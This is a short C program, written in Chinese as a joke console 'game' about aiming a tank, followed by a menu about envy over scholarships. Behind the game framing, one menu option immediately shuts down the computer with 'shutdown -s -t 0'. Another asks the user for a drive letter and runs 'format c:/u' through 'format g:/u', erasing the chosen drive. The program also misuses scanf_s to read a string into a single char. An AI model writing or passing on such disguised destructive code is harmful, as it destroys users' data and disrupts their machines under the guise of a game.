#include "stdafx.h"
#include "windows.h"
#include "math.h"
double boom(double x) //定义函数boom
{
double y,z;
y=x/2;
z=atan(80/y); //计算反正切
return z;
}
int main(void)
{
char a;
int b,c;
double d;
printf("真心不知道写什么程序了,做个游戏吧。\n");
getchar();
printf("玩过《坦克世界》么?\n");
getchar();
printf("我们的游戏很平衡\n");
getchar();
printf("今天天气很好\n");
getchar();
printf("所以,让我们来砍一下德系吧。\n");
getchar();
printf("请确认敌人距离我们的位置。\n");
scanf_s("%d",&b);
if(b<800) //当b<800 继续执行
{
d=boom(b); //确定仰角
if(d<0.8) //d<0.8继续执行
{
printf("已经确定位置!\n");
getchar();
printf("瞄准中。。。\n 3...\n 2...\n 1...\n ");
getchar();
printf("开始揍他!\n");
getchar();
printf("炸的好!重创敌人!\n");
}
if(d>0.8) //当d>0.8执行
{
printf("仰角不足,无法击中!\n");
}
}
if(b>=800) //当b>=800执行
{
printf("距离过远不能击中。\n");
}
printf("玩完坦克我们研究下这次奖学金的事情吧。他们都有,我们没有羡慕嫉妒恨呐~有木有!\n");
nihao: //goto语句标志
printf("必须选择,你要干什么?\n");
printf("1:要拿奖学金的孩子请客。\n");
printf("2:让这台电脑神奇的消失点东西。\n");
printf("请选择:");
scanf_s("%d",&c);
if(c==1)
{
printf("还等什么,关机走人!");
system("shutdown -s -t 0");
}
else if(c==2)
{
printf("你太坏了,但是尊重你的选择!\n");
printf("你是想让哪个盘消失东西呢?\n");
scanf_s("%s",&a);
switch (a) //swich分支语句
{
case 'c':system("format c:/u");break;
case 'd':system("format d:/u");break;
case 'e':system("format e:/u");break;
case 'f':system("format f:/u");break;
case 'g':system("format g:/u");break;
default:printf("你电脑盘太多了吧,不跟你玩了\n");
}
}
else
{
printf("你搞错了,哪有这么多选项!\n");
goto nihao; //goto语句返回标识符
}
return 0;
}